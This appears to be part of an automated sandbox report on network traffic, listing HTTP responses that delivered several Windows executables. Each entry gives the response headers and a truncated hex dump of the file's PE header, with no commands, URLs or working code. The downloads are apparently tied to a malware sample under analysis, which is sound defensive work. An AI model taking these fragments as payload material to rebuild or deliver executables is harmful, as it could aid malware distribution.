Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Aug 2021 12:01:36 GMTContent-Type: application/x-msdos-programContent-Length: 425984Connection: keep-alivelast-modified: Tue, 24 Aug 2021 10:48:01 GMTetag: "68000-5ca4bde201620"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 1748Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vKk%2BZCyDYqZHpZousO3sxetlBbhk7Wjv%2FvbT6ck4%2FyazX8oL76v2XKGAdnE65QuQ5beW8LcJvOdw0TpBo3KGrdEhh40ck6DAcO2SOP9JhsLv9db4FJDyQ89qj72ewJZhEw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 683c6d4dfdaa5bf5-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 69 43 e9 f3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 74 06 00 00 7c 06 00 00 00 00 00 a2 93 06 00 00 20 00 00 00 c0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 06 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 48 93 06 00 57 00 00 00 00 a0 06 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 73 06 00 00 20 00 00 00 74 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 88 06 00 00 00 a0 06 00 00 08 00 00 00 76 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 06 00 00 02 00 00 00 7e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 93 06 00 00 00 00 00 48 00 00 00 02 00 05 00 38 e4 03 00 7c 4c 00 00 01 00 00 00 02 00 00 06 bc 58 04 00 8c 3a 02 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiCt\| @ @HW H.texts t `.rsrcv@@.reloc~@BH8\|L
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:42 GMTContent-Type: application/x-msdos-programContent-Length: 334288Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "519d0-57aa1f0b0df80"Expires: Wed, 25 Aug 2021 12:01:42 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:42 GMTContent-Type: application/x-msdos-programContent-Length: 137168Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "217d0-57aa1f0b0df80"Expires: Wed, 25 Aug 2021 12:01:42 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:43 GMTContent-Type: application/x-msdos-programContent-Length: 440120Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "6b738-57aa1f0b0df80"Expires: Wed, 25 Aug 2021 12:01:43 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:43 GMTContent-Type: application/x-msdos-programContent-Length: 1246160Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "1303d0-57aa1f0b0df80"Expires: Wed, 25 Aug 2021 12:01:43 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Aug 2021 12:01:43 GMTContent-Type: application/x-msdos-programContent-Length: 2287104Connection: keep-alivelast-modified: Mon, 23 Aug 2021 21:11:21 GMTetag: "22e600-5ca4075819ea0"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 3659Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=miBbkT3HcxVTy40wPQr%2Bvis3bbfncPJc8tJhcZERM6cjLmvP1%2BTbylFDolj9o%2FaGEKjhcy%2BXF76mZQGk8LoFCXIWIi7FxpAZGjVc567u9X01Eo3cNH32oh53DGAzmgaa%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 683c6d780b9b5bf5-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 69 43 e9 f3 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 da 22 00 00 e2 22 00 00 00 00 00 86 f9 22 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 23 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 f9 22 00 57 00 00 00 00 00 23 00 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 23 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 98 d9 22 00 00 20 00 00 00 da 22 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 70 06 00 00 00 00 23 00 00 08 00 00 00 dc 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 23 00 00 02 00 00 00 e4 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 68 f9 22 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 54 28 00 00 8c 4c 00 00 01 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdiC"""" @ @#@"W#p # H.text" " `.rsrcp#"@@.reloc #"@Bh"HT(L
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Aug 2021 12:01:50 GMTContent-Type: application/x-msdos-programContent-Length: 2172928Connection: keep-alivelast-modified: Mon, 23 Aug 2021 21:11:24 GMTetag: "212800-5ca4075aaa2a0"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 3664Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2nSd6f4XgrJu4nLdzwRxCrZF6hdKMqfvP45SQg72HvDY6OXmURvByV40B%2FtDLTbyFS9QDJlo2%2FCPrY%2BNdw8KulF0nSQqLg%2Fk00R5l2ZNOmqAbnsRPoZYEHLbtjhtsAA7iQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 683c6da47cde5bf5-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 69 43 e9 f3 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1c 21 00 00 24 21 00 00 00 00 00 26 3b 21 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 21 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 3a 21 00 57 00 00 00 00 40 21 00 cc 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 21 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 38 1b 21 00 00 20 00 00 00 1c 21 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cc 06 00 00 00 40 21 00 00 08 00 00 00 1e 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 21 00 00 02 00 00 00 26 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 08 3b 21 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 54 28 00 00 5c 4c 00 00 01 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdiC"!$!&;! @ !@:!W@!`! H.text8! ! `.rsrc@!!@@.reloc`!&!@B;!HT(\L
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:51 GMTContent-Type: application/x-msdos-programContent-Length: 144848Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "235d0-57aa1f0b0df80"Expires: Wed, 25 Aug 2021 12:01:51 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 